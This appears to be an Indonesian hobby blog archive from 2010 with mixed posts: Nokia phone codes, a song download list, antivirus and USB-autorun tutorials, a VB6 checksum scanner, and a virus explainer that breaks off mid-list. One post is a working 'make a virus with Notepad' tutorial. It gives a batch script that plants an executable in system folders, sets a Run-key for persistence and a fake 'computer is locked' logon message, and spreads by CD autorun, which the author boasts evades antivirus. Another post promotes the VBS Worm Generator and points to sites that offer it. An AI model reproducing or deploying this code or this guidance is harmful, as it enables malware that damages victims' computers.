Minggu, 13 Juni 2010

Kode Ponsel Nokia

Berikut ini ada beberapa kode untuk ponsel nokia yang dapat anda coba sesuai dengan kepentingan dan kebutuhan anda.
Tambahan:
Lakukan pengetikan pada ponsel anda saat ponsel dalam keadaan standby.
Tidak semua ponsel nokia cocok dengan kode-kode tersebut.
Gunakan tombol "*" untuk mendapatkan simbol "p", "w" dan "+"



* # 0 6 #
Untuk melihat IMEI (International Mobile Equipment Identity)

* # 0 0 0 0 #
Untuk melihat versi software, tanggal pembuatan softwre dan jenis kompresi software
Jika kode diatas tidak berhasil cobalah tekan * # 9 9 9 9 #

* # 4 3 #
Untuk melihat status call waiting

* # 3 0 #
Untuk melihat nomor / nomer private number yang menghubungi ponsel anda

* # 2 1 #
Untuk enampilkan nomer pengalihan telepon all calls

* # 6 1 #
Untuk melihat nomor penelepon pada pengalihan telepon karena tidak anda jawab (call divert on)

* # 6 2 #
Untuk melihat nomor penelepon pada pengalihan telepon karena di luar jangkauan (call divert on)

* # 6 7 #
Untuk melihat nomor penelepon pada pengalihan telepon karena sibuk (call divert on)

* # 6 7 7 0 5 6 4 6 #
Untuk merubah logo operator pada nokia type 3310 dan 3330

* # 7 4 6 0 2 5 6 2 5 #
Untuk menampilkan status sim clock

* # 7 7 8 0 #
Untuk merubah seting hp nokia ke default atau pabrikan

* # 7 3 #
Untuk melakukan reset timer ponsel dan skor game ponsel nokia

* # 4 3 #
Untuk melihat status call waiting

* # 7 7 6 0 #
Untuk melihat kode pabrik atau factory code

* # 92702689 #
Untuk menampilkan serial number atau nomer seri hp, tanggal pembuatan, tanggal pembelian, tanggal servis terakhir, transfer user data.

*# 2 6 4 0 #
Untuk melihat kode pengamanan ponsel anda

* # 2 8 2 0 #
Untuk melihat alamat ip perangkat keras bluetooth anda

* # 3 3 7 0 #
Untuk mengaktifkan EFR (Enhanced Full Rate Codec) dengan kualitas suara terbaik tetapi boros energi batere.
Untuk mematikan menggunakan kode yang sama.

 * # 4 7 2 0 #  Mengaktifkan EFR (Enhanced Full Rate Codec) dengan kualitas suara terendah namun hemat energi batere.
Untuk mematikan menggunakan kode yang sama.

* * 6 1 * Nomor Tujuan #
Untuk ngalihkan panggilan ke nomor yang dituju untuk panggilan yang tidak terjawab.

* * 6 7 * Nomor Tujuan #
Untuk mengalihkan panggilan ke nomor yang dituju untuk panggilan ketika telepon hp anda sedang sibuk.

#pw+1234567890+1#
Provider Lock Status.

#pw+1234567890+2#
Network Lock Status.

#pw+1234567890+3#
Country Lock Status.

#pw+1234567890+4#
SIM Card Lock Status.

* # 73 #
Reset timer dan skor game pada ponsel.

Selamat mencoba !!
Readmore »»

Sabtu, 22 Mei 2010

Cara Buat Virus Dengan Notepad

Ini virus efeknya tidak terlalu berbahaya….efek dari virus ini mengganti tampilan dari
windows…..tapi dapat bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(yg saya ketahui.. )

ini saya dapat dari hasil baca-baca “HELP” windows Xp…terus dimodif sedikit…

catatan: “HANYA BEKERJA PADA WINDOWS XP”



caranya:

- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Sumber : http://www.yogyafree.net/


Readmore »»

Cara Buat Antivirus di USB(Flash Dish)

Jengkel dengan Virus yang otomatis menginfeksi Flash Disk Anda saat Anda colokkan USB Flash Disk Anda ke port komputer yang terinfeksi virus?
Bagaimana tidak kita akali saja dengan Membuat Anti Virus AutoRun dari USB Removable Drive semacam Flash Disk?
Seringkali Virus akan membuat file “autorun.inf” yang ber-attribute file hidden dan system (dan/atau bisa juga termasuk file virus/trojan - server) begitu Anda
memasangkan Flask Disk yang dijadikan target penginfeksian virus ataupun target pengintipan aktivitas user atau pencurian data user dengan Trojan.
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal atau jaringan tempat Flash Disk Anda berinteraksi dan berhubungan langsung.
Bila Anda pengguna OS Windows, seperti kita ketahui, Versi Windows sebelum generasi Windows Vista (termasuk Windows Windows XP), secara default tidak mengijinkan proses “AutoRun” executable files dari media USB Removable Drives seperti External Hardisk ataupun Flash Drive/Flash Disk (kecuali dari media cakram digital) yang kemungkinan besar ditujukan untuk kepentingan keamanan. Windows hanya mengijinkan proses “AutoPlay” media saja seperti AutoPlay Movie/Music dari DVD atau command seperti Open/View file melalui windows explorernya.
Untungnya (dari faktor kemudahan) sekaligus sayangnya (dari faktor keamanan), Windows Vista secara default telah memperkenankan proses “AutoRun” dilangsungkan dengan dafault opsi yang bisa Anda pilih secara permanen.

Lalu bagaimana mengakali Windows XP agar bisa mengijinkan proses “AutoRun” executable files dari removable drives seperti External Hardisk maupun Flash Disk?
Di bawah ini Penulis sampaikan teknis pembuatan AutoRun AntiVirus pada Flash Disk.
LANGKAH I - Download ANtiVirus yang bersifat Portable
Kenapa harus Portable? Karena tujuan dari pembuatan AutoRun File dari Flash juga bersifat portable, jadi program rujukan, dalam hal ini Anti Virus, bisa dijalankan langsung dari Flash Drive tanpa diperlukan instalasi.
Anda bisa menggunakan ANSAV (Ansav.exe - jangan ANSAV Security Guard) atau PCMAV (PCMAV-CLN.EXE - Jangan PCMAV-RTP.EXE)
Masukkan file Anti Virus Portable (plus file library pendukungnya - bila ada) tersebut ke dalam Flash Disk Anda. Dalam contoh kali ini, untuk mempermudah, letakkan saja di Root Flash Disk Anda tanpa perlu Anda masukkan ke dalam folder.
LANGKAH II - Pembuatan AutoRun Dari Flash Disk
Ada 2 (dua) opsi yang bisa Anda pilih:

1. Menggunakan bantuan software orang lain, atau
2. Menggunakan bantuan tangan Anda sendiri

1. Menggunakan bantuan software orang lain
Nomor ini tidak akan menjadi bahan pembicaraan inti pada Artikel ini.
Namun bila Anda menghendaki, Penulis merekomendasikan Anda untuk menggunakan aplikasi bernama APO USB AutoRun yang sangat bagus dan berkualitas, berfungsi dengan baik pada Windows XP SP2, berukuran file kecil, dan gratis lagi.
APO AutoRun USB akan membuat service bernama autorunusb.exe yang berjalan di background sebagai detektor yang bertugas memindai file autorun.inf pada root removable drive dan mendeteksi semua executable files pada media removable drive serta akan mencocokkan executable files tersebut dengan file name dan path file yang dirujuk oleh file autorun.inf tersebut.
Yang penulis heran dari software ini, APO tetap akan melakukan scan pada seluruh executable files yang ada pada media removable drives.
Namun, walau efeknya sedikit memperlambat kinerja komputer, proses scanning tersebut Penulis cermati dan rasakan sangat bermanfaat juga untuk memindai keberadaan Virus pada Removable Drives yang belum sempat terdeteksi oleh AntiVirus yang aktif di komputer. Begitu proses scanning menemukan suatu executable files atau script yang dianggap sebagai malware oleh AntiVirus tersebut, maka akan memicu (trigger) notifikasi dari AntiVirus bahwa telah ditemukan threat (virus).
Sayangnya APO AutoRun USB harus Anda install dulu sebelum Anda bisa mengaplikasikan AutoRun dari flash disk. Untungnya APO AutoRun USB juga telah menyertakan instalasi untuk keperluan portable plus autorun.inf builder.
2. Menggunakan bantuan tangan Anda sendiri
Teknik yang bisa Anda lakukan adalah pertama-tama dengan sedikit mengubah struktur HEX pada Windows Registry.
Bila sebelumnya atau secara default Windows tidak mengijinkan proses “AutoRun” dari USB Flash Disk, maka Registry-nya seperti ini:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095
Agar Windows bisa mengijinkan proses “AutoRun” dari USB Flash Disk, maka ubah Registrynya menjadi:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000091
Anda bisa mengCopy Registry Lines tersebut, lalu Anda simpan sebagai (misal): “AutoRun_Removable_Media_Enable.reg” untuk Anda Klik kanan dan Merge (gabungkan) dengan Windows Registry Database.
Setelah Anda berhasil memasukkan Registry Entry Files ke dalam Windows Registry Database, maka pekerjaan Anda yang terakhir adalah membuat file “autorun.inf” yang berfungsi sebagai Command dengan rujukan ke File Anti Virus yang telah Anda download dan masukkan ke dalam Flash Disk Anda (pada Langkah I)
Dalam contoh ini, Penulis menggunakan PC Media Anti Virus PCMAV-CLN.EXE yang filenamenya telah Penulis ubah menjadi PCM4V-CL34N32.EXE guna menghindari pendeteksian Virus yang dimungkinkan akan memblokir PCMAV-CLN.EXE.
Maka file “autorun.inf” PCMAV menjadi seperti ini:

PC Media Anti Virus
[AutoRun]
open=PCM4V-CL34N32.EXE
icon=PCMAV.ICO
shellexecute=PCM4V-CL34N32.EXE
shell\Scan Virus\command=PCM4V-CL34N32.EXE
shell=Scan Virus
Salin baris-baris INF tersebut, dan simpan sebagai .INF file dengan nama “autorun.inf” (tanpa tanda kutip), kemudian letakkan file “autorun.inf” tersebut pada Root Flash Disk Anda.
KETERANGAN

* Untuk file ICON dari PCMAV, Penulis extract dari file PCMAV-CLN.EXE, yang mana ICON file tersebut juga ditempatkan pada Root Flash Disk. Anda bisa menghilangkan/menghapus baris “icon=PCMAV.ICO” yang digunakan untuk memunculkan ICON File PCMAV sebagai Icon penanda Flash Disk seperti pada screenshot di atas. Baris rujukan ICON ini tidak mempengaruhi proses AutoRun. Namun bila Anda menginginkan PCMAV ICON tersebut, Anda bisa mendownloadnya dengan klik link ini.
* Baris-baris INF tersebut bisa Anda modifikasi sesuai selera tulisan Anda, yang penting path file Anda tidak salah; file tujuan Anda rujuk secara relatif.
* Jangan Lupa, untuk menghindari terhapusnya file dengan begitu mudahnya, sebaiknya sembunyikan saja File Anti Virus berserta library file pendukungnya (bila ada) maupun file “autorun.inf”nya dengan mengeset File Attributnya dengan “hidden” dan bila perlu “system”. Satu rekomendasikan lagi, alangkah baiknya, semua File tersebut Set File Attributenya menjadi “Read Only” agar, secara sederhana, tidak bisa termodifikasi.

Untuk keperluan setting modifikasi File Attribute terbut Anda bisa melakukannya dengan Select All files yang akan disembunyikan, lalu klik kanan file-file tersebut, pilik dan klik “properties”, dan beri tanda centang pada check box “hidden. Sedang untuk set menjadi “system”, Anda bisa menggunakan Windows ATTRIB.EXE di lingkungan kerja DOS atau Anda bisa juga menggunakan Attribute Changer yang berlingkungan kerja GUI. Q = Lho, katanya ga pake tool ya? A = untuk mudahnya, gunakan Attribute Changer bila ATTRIB.EXE dirusak/dihapus Virus/Admin dan Anda malas untuk extract dari Windows CAB.
Sumber : Ary Gamexeon

Dari:http://nasraul.blogspot.com
Readmore »»

Cara Buat Antivirus

Sekarang kehadiran para virus maker (–selanjutnya disingkat jadi VM
saja) lokal telah membuat gerah para user komputer tanah air. Bisa
dibayangkan bila dari sekian banyak virus lokal tidak satu-dua yang
menghancurkan data (terutama bagi file office; word, excel, dll…).
Bagi
para vendor Anti Virus (–selanjutnya disingkat menjadi AV saja)
fenomena ini adalah lahan bisnis untuk produk mereka. Sebut saja
NORMAN, yang kini men-support perusahaan konsultan virus lokal
(–VAKSIN.COM) , Symantec, McAffe, NOD32, dan sebagainya. Dengan
menawarkan update definisi software AV tercepat, engine scanner paling
sensitif, dan lain-lain merupakan kiat untuk memancing para korban
virus membeli dan menggunakan software AV mereka. Bagi penulis sendiri
hal ini memang agak memberatkan mengingat update file definisi atau
engine AV tsb haruslah melalui koneksi internet. Lalu bagaimana yang
tidak mempunyai akses sama sekali? Konsekuensinya iyalah tertinggal
dalam hal pengenalan varian virus baru yang pada ujung-ujungnya membuat
AV yang sudah terinstall bagai 'Macan Ompong'. Kalau kita membuat AV
sendiri bagaimana? dengan database definisi yang bisa diupdate oleh
kita bahkan dapat saling tukar dengan teman? Bisa saja, dengan syarat
mau mempelajari sedikit teknik pemograman.

Pertama kita harus mengerti bagaimana cara kerja
sebuah AV sederhana, pada dasarnya sebuah software AV mempunyai
komponen-komponen :


1. Engine scanner, ini merupakan komponen utama AV
dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan
menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi
spesifik terhadap pattern tertentu dari sebuah file virus. Checksum
merupakan salah satu contoh dari engine statis ini. Dinamis dalam
artian dia mengenali perilaku 'umum' sebuah virus. Heuristic menjadi
salah satu contohnya.

2. Database definition, menjadi sebuah referensi dari sebuah pattern
file virus. Engine statis sangat bergantung kepada komponen ini.

3. Decompress atau unpacking engine, khusus untuk pengecekan file-file
yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk
file PE seperti UPX, MeW , dll.

Tidak jarang hasil dari pengecekan terhadap file
suspect virus menghasilkan false-positive bahkan false-negative (–
false-positive berarti file yang bersih dianggap thread oleh AV, dan
false-negative berarti file yang 100% thread akan dianggap bersih).
Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner
itu sendiri. Misal

pada contoh kasus Engine String scanner (–Engine scanner yang
menyeleksi string-string dari file text-based), bila diterapkan rule 3
out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori
malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread
yang positif. Padahal file tsb nyatanya tidak menimbulkan efek
berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini
lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan
engine checksum sangat banyak ditemui di beberapa software AV lokal.
Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll.
Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya
tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari
sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis
checksum yang digunakan) sehingga menghasilkan sebuah format tertentu
dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :

* calCrc = CRC32(file_name_and_path)

* calMD5 = MD5(file_name_and_path)

Maka isi dari string calCrc adalah 7AF9E376,
sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu
diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari
badan virus tsb setiap kali maka penggunaan engine checksum ini akan
kurang optimal karena bila 1 byte berubah dari file maka checksum juga
akan berubah.

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :


1. Software Visual Basic 6.0

2. Sedikit pemahaman akan pemograman Visual Basic 6.0

3. Sampel file bersih atau virus (– opsional)

First#

Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah
class module dan Form dengan menambahkan sebuah objek Textbox,
CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan
dengan memilih Project -> COmponent atau Ctrl-T dan memilih
Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class
module (kita beri nama class module tsb clsCrc) :


================= START HERE ====================

Private crcTable(0 To 255) As Long 'crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

'bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long 'Current position untuk iterasi proses array bArrayIn

Dim lTemp As Long 'variabel temp hasil perhitungan

If lLen = 0 Then Exit Function 'keluar fungsi apabila ukuran file = 0

lTemp = lcrc Xor &HFFFFFFFF


For lCurPos = 0 To lLen

lTemp = (((lTemp And &HFFFFFF00) \\ &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))

Next lCurPos

CRC32 = lTemp Xor &HFFFFFFFF

End Function

Private Function BuildTable() As Boolean

Dim i As Long, x As Long, crc As Long


Const Limit = &HEDB88320

For i = 0 To 255

crc = i

For x = 0 To 7

If crc And 1 Then

crc = (((crc And &HFFFFFFFE) \\ 2) And &H7FFFFFFF) Xor Limit

Else


crc = ((crc And &HFFFFFFFE) \\ 2) And &H7FFFFFFF

End If

Next x

crcTable(i) = crc

Next i

End Function

Private Sub Class_Initialize()

BuildTable


End Sub

================= END HERE ====================

Lalu ketikkan kode berikut dalam event Command1_Click :

================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String

Dim CCrc As New clsCrc 'bikin objek baru dari class ClsCrc

Dim calCrc As Long

Dim tmp() As Byte 'array buat file yang dibaca

Private Sub Command1_Click()


CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog

On Error GoTo erorhandle 'label error handle

CommonDialog1.ShowOpen

namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1) - 1) As Byte 'deklarasi ulang untuk array, # Bugs Fixed #

Get #1, , tmp()

Close #1


calCrc = UBound(tmp) 'mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC

HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

Text1.Text = HasilCrc 'tampilkan hasilnya

Exit Sub

erorhandle:

If Err.Number <> 32755 Then MsgBox Err.Description 'error number
32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================


COba anda jalankan program diatas dengan memencet
tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka
program akan menampilkan CRC32nya.

Second#

Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file
suspect virus dengan antara membandingkan hasil CRC32nya dan database
CRC kita sendiri. Algoritmanya adalah :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum

- Buka file database

- Ambil isi file baris demi baris

- Samakan Checksum hasil perhitungan dengan checksum dari file


Format file database dapat kita tentukan sendiri, misal :

- FluBurung.A=ABCDEFGH

- Diary.A=12345678

Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika
kita mempunyai format file seperti diatas, maka kita perlu membaca file
secara sekuensial per baris serta memisahkan antara nama virus dan
Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter '='.

Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :

================= START HERE ====================

Public namaVirus As String, CrcVirus As String
'deklarasi variabel global untuk nama dan CRC virus Public pathExe as
String 'deklarasi variabel penyimpan lokasi file EXE AV kita

Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean

Dim lineStr As String, tmp() As String 'variabel penampung untuk isi file


Open namaFileDB For Input As #1 'buka file dengan mode input

Do

Line Input #1, lineStr

tmp = Split(lineStr, "=") 'pisahkan isi file bedasarkan pemisah karakter '='

namaVirus = tmp(0) 'masukkan namavirus ke variabel dari array

CrcVirus = tmp(1) 'masukkan Crcvirus ke variabel dari array

If CrcVirus = Crc Then 'bila CRC perhitungan cocok/match dengan database

cariDatabase = True 'kembalikan nilai TRUE

Exit Do 'keluar dari perulangan


End If

Loop Until EOF(1)

Close #1

End Function

================= END HERE ====================

Lalu tambahkan 1 objek baru kedalam Form, yaitu
Command button2. lalu ketikkan listing kode berikut kedalam event
Command2_Click :

================= START HERE ====================

If Len(App.Path) <= 3 Then 'bila direktori kita adalah root direktori pathEXE = App.Path Else pathEXE = App.Path & "\\" End If CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog On Error GoTo erorhandle 'label error handle CommonDialog1.ShowOpen namafilbuka = CommonDialog1.FileName Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary ReDim tmp(LOF(1) - 1) As Byte 'deklarasi ulang untuk array # Bugs Fixed # Get #1, , tmp() Close #1 calCrc = UBound(tmp) 'mengambil ukuran file dari array calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric If cariDatabase(HasilCrc, pathEXE & "DB.txt") Then 'bila fungsi bernilai TRUE MsgBox "Virus ditemukan : " & namaVirus 'tampilkan message Box End If Exit Sub erorhandle: If Err.Number <> 32755 Then MsgBox Err.Description 'error number
32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

Fitur AV sederhana ini dapat ditambahkan dengan
fitur process scanner, akses registry, real-time protection (RTP) dan
lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi
seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari
letak atau lokasi file dan melakukan proses scanning. Fitur akses
registry memungkinkan kita untuk mengedit secara langsung registry
windows apabila akses terhadap registry (–Regedit) diblok oleh virus.
Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan
dengan windows explorer untuk mengscan direktori atau file yang sedang
kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas
pada artikel selanjutnya.


Kesimpulan#

Tidak harus membeli software AV yang mahal untuk menjaga komputer kita
dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur
yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV
buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari
infeksi virus komputer yang semakin merajalela. Software AV sederhana
ini dilengkapi oleh engine scanner statis dan database definisi. Tidak
tertutup kemungkinan software AV ini ditingkatkan lebih advanced dalam
hal engine scannernya.

Artikel ini diambil dari SINI......
Untuk source code antivirusnya bisa dilihat di bagian SINI

SUMBER
Readmore »»

Tips Mengganti Icon Sortcut

Shortcut yang terletak pada Start - Programs sebenarnya tidak hanya mempunyai satu macam icon saja. Misalnya icon untuk MS Word. Mungkin Anda hanya mengenal icon bergambar W saja. Sebenarnya MS Word 97 mempunyai delapan macam icon lainnya yang dapat Anda gunakan sebagai alternatif. Untuk mengganti icon shortcut caranya sebagai berikut :

  1. Klik Start - Program, dan arahkan mouse ke Microsoft Word.
  2. Klik kanan pada tulisan Microsoft Word, klik Properties.
  3. Pindah ke tab Shortcut.
  4. Tekan tombol Change Icon.
  5. Pilih icon yang Anda inginkan dan klik OK.
  6. Tekan Aplly dan terakhir Close
Dari:http://www.klik-kanan.com
Readmore »»

Virus Worm

Cara Gampang Bikin Virus
Oleh : Alzamora

Kamu pasti masih inget dengan virus worm yang sempat menghebohkan Tampilan awal program Vbs WGinternet beberapa waktu yang lalu : Anna Kournikova. Worm yang menginfeksi Windows beserta Outlook Exressnya, akan mengirim sendiri pesan virus ke seluruh email yang terdapat pada address book.

Sebenarnya untuk membuat worm semacam itu kamu tidak harus menjadi seorang programmer handal. Cukup bisa njalanin komputer dan punya softwarenya. Lalu apa softwarenya ? VBS Worm Generator !! Dengan program yang dibuat oleh hacker Argentina berusia 18 tahun itu kamu dapat membuat virus yang sama dahsyatnya dengan Anna Kournikova, cukup dengan melakukan beberapa klik.

Program VBSWG memungkinkan kamu untuk membuat worm dengan nama sesukamu. Kamu juga bisa memilih efek dari worm tersebut, seperti misalnya menampilkan pesan atau memaksa seseorang untuk menuju situs tertentu. Akibat yang paling parah tentunya jika worm tersebut kamu setting supaya membikin crash komputer.

Kemampuan lain dari VBSWG adalah melakukan enkripsi terhadap source code worm yang dibuat. Kemampuan lainnya bisa kamu coba sendiri :-) Pokoknya cukup hebatlah program ini.

Tapi seperti yang dikatakan oleh pembuatnya, VBS Worm Generator hanya boleh digunakan untuk belajar, bukan untuk merugikan orang lain. Untuk itu jika Anda memang berniat mencobanya, ingat-ingat peringatan tersebut.

Situs yg menyediakan VBSWG :

http://www.virii.com.ar,
http://www.kvirii.com.ar,
http://vx.netlux.org/dat/tv07.shtml.

Atau gunakan search engine http://www.google.com dan masukkan keyword vbswg2bfix.zip, Vbswg2B.zip, worm generator, dan keyword semacamnya.
Dari:http://www.klik-kanan.com
Readmore »»

ST 12

Terlalu (Pangeran Cinta/2010) Download
Setiaku (Pangeran Cinta/2010) Download
Aku Padamu (Pangeran Cinta/2010) Download
Dunia Pasti Berputar (Pangeran Cinta/2010) Download
Pangeran Cinta (Pangeran Cinta/2010) Download
Masa Kecil (Pangeran Cinta/2010) Download
Lady Sky (Pangeran Cinta/2010) Download
Aku Terjatuh (Pangeran Cinta/2010) Download
Anugerah Cinta (Pangeran Cinta/2010) Download
I Love You (Pangeran Cinta/2010) Download
Sayyidina (Pangeran Cinta/2010) Download
Sebuah Kenyataan (Pangeran Cinta/2010) Download
Cinta Dalam Hati (Single April/2010) Download
Bangsaku (Single April/2010) Download
Terbang Untuk Kata Maaf (Single Februari/2010) Download Readmore »»

Selasa, 18 Mei 2010

Virus

Virus

Pengertian:
Virus/ worm adalah suatu program komputer yang dapat menyebar pada komputer atau jaringan dengan cara membuat copy dari dirinya sendiri tanpa sepengetahuan dari pengguna komputer tersebut. Virus dapat menimbulkan efek yang berbahaya, misalnya mulai dari menampilkan pesan, mencuri data atau bahkan mengontrol komputer Anda dari jarak jauh.

Cara kerja virus:
Suatu virus pertama kali harus dijalankan sebelum ia mampu untuk menginfeksi suatu komputer. Ada berbagai macam cara agar virus ini dijalankan oleh korban, misalnya dengan menempelkan dirinya pada suatu program yang lain. Ada juga virus yang jalan ketika Anda membuka suatu tipe file tertentu. Kadangkala virus juga memanfaatkan celah keamanan yang ada pada komputer Anda (baik sistem operasi atau aplikasi), dengan memanfaatkan hal-hal tersebut virus dapat berjalan dan kemudian akan menyebarkan dirinya sendiri secara otomatis.

Anda juga dapat menerima suatu file yang sudah terinfeksi virus dalam attachment e-mail Anda. Begitu file tersebut Anda jalankan, maka kode virus akan berjalan dan mulai menginfeksi komputer Anda dan bisa menyebar pula ke semua file yang ada di jaringan komputer Anda.

Trojan horse

Trojan horse adalah program yang kelihatan seperti program yang valid atau normal, tetapi sebenarnya program tersebut membawa suatu kode dengan fungsi-fungsi yang sangat berbahaya bagi komputer Anda.

Sebagai contoh, virus DLoader-L datang dari attachment e-mail dan dianggap sebagai sebagai suatu update program dari Microsoft untuk sistem operasi Windows XP. Jika Anda menjalankannya maka dia akan mendownload program dan akan memanfaatkan komputer Anda untuk menghubungkan komputer Anda ke suatu website tertentu. Targetnya tentu saja untuk membuat website tadi menjadi overload dan akhirnya tidak bisa diakses dengan benar oleh pihak lain. Ini sering dinamakan dengan serangan denial of service atau DoS.

Trojan tidak dapat menyebar secepat virus karena trojan tidak membuat copy dari dirinya sendiri secara otomatis. Tapi sejalan dengan perkembangan virus, maka trojan horse bisa bekerjasama dengan virus dalam hal penyebarannya. Virus dapat melakukan download terhadap trojan yang merekam keystroke keyboard Anda atau mencuri informasi yang ada pada komputer Anda. Di sisi lain, trojan juga digunakan untuk menginfeksi suatu komputer dengan virus.

Worms

Worm bisa dikatakan mirip dengan virus tetapi worm tidak memerlukan carrier dalam hal ini program atau suatu dokumen. Worm mampu membuat copy dari dirinya sendiri dan mengunakan jaringan komunikasi antar komputer untuk menyebarkan dirinya. Banyak virus seperti MyDoom atau Bagle bekerja sebagaimana layaknya worm dan menggunakan e-mail untuk mem-forward dirinya sendiri kepada pihak lain.

Yang dapat dilakukan virus:

Virus seringkali mengganggu Anda atau menghentikan kerja komputer Anda pada saat diperlukan. Sejalan dengan perkembangan di dunia virus komputer maka sampai saat ini efek dari virus ini sudah semakin banyak, yaitu:
Memperlambat e-mail

